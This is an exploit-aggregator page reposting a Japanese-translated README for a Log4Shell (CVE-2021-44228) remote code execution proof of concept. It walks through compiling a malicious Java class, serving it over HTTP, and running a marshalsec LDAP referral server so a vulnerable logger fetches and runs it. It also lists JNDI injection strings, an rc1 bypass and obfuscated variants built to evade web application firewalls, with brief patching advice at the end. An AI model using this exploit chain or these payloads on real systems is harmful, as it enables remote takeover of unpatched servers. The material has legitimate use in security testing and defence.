Sploitus

Exploit for CVE-2021-44228-Apache-Log4j-Rce

kitploit · 2026-09-03

Exploit Code

MARKDOWN118 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TANGXIAOFENG7-CVE-2021-44228-APACHE-LOG4J-RCE
# CVE-2021-44228(Apache Log4j リモートコード実行)

> log4j-core のすべてのバージョン >=2.0-beta9 かつ <=2.14.1

1.x のバージョンには他の脆弱性があります。最新バージョンに更新することをお勧めします。

Log4Shell(CVE-2021-44228)に関連するセキュリティアドバイザリ / 速報

### 使用方法:

このプロジェクトをダウンロードし、エクスプロイトコード blob/master/src/main/java/Exploit.java をコンパイルして、コンパイル済みバイナリをダウンロードできる Web サーバーを起動します。

root@kitploit:~
    
    
    git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
    cd CVE-2021-44228-Apache-Log4j-Rce
    
    javac Exploit.java
    
    # start webserver
    # For Python2
    python -m SimpleHTTPServer 8888
    # For Python3
    python3 -m http.server 8888
    
    # make sure python webserver is running the same directory as Exploit.class, to test
      curl -I 127.0.0.1:8888/Exploit.class
    

別のプロジェクトをダウンロードして、 _JNDI 参照を返す LDAP サーバー実装_ を実行します https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java

root@kitploit:~
    
    
    git clone https://github.com/mbechler/marshalsec.git
    cd marshalsec
    # Java 8 required
    mvn clean package -DskipTests
    java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
    

起動コードをビルドして実行します(脆弱な Java Web サーバーに対する log4j 攻撃をシミュレート)blob/master/src/main/java/log4j.java。すると電卓アプリが表示されます。

root@kitploit:~
    
    
    cd CVE-2021-44228-Apache-Log4j-Rce
    mvn clean package
    java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
    
    # expect the following
    # 1. calculator app appear
    # 2. in ldapserver console,
    #  Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
    # 3. in webserver console,
    #  127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
    
    
    

ヒント:

> 現在の Java バージョンがあなたを救ってくれると当てにしないこと。Log4j を更新するか(または JNDI ルックアップを削除する)こと。展開を無効にすること(いずれにせよかなり悪い考えのようです)。

### rc1 のバイパス

例:

root@kitploit:~
    
    
    ${jndi:ldap://127.0.0.1:1389/ badClassName}
    

### WAF のバイパス

root@kitploit:~
    
    
    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
    ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
    ${jndi:rmi://adsasd.asdasd.asdasd}
    ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
    

> Web アプリケーションファイアウォールを信頼しないでください。

### 脆弱性の詳細

Lookups は、Log4j 設定の任意の場所に値を追加する方法を提供します。

Lookups

> finally ブロック内でリークを引き起こすメソッド

root@kitploit:~
    
    
    LogManager.getLogger().error()
    LogManager.getLogger().fatal()
    

### 簡単な確認方法

ブラックボックステストを行いたい場合は、パッシブスキャンを実行することをお勧めします。

BurpLog4jScan

楽しんでください!!! ![BurpLog4jScan.png](https://raw.githubusercontent.com/tangxiaofeng7/BurpLog4j2Scan/master/img/result.png)

### 時系列の Stargazers

![Stargazers over time](https://starchart.cc/tangxiaofeng7/apache-log4j-poc.svg)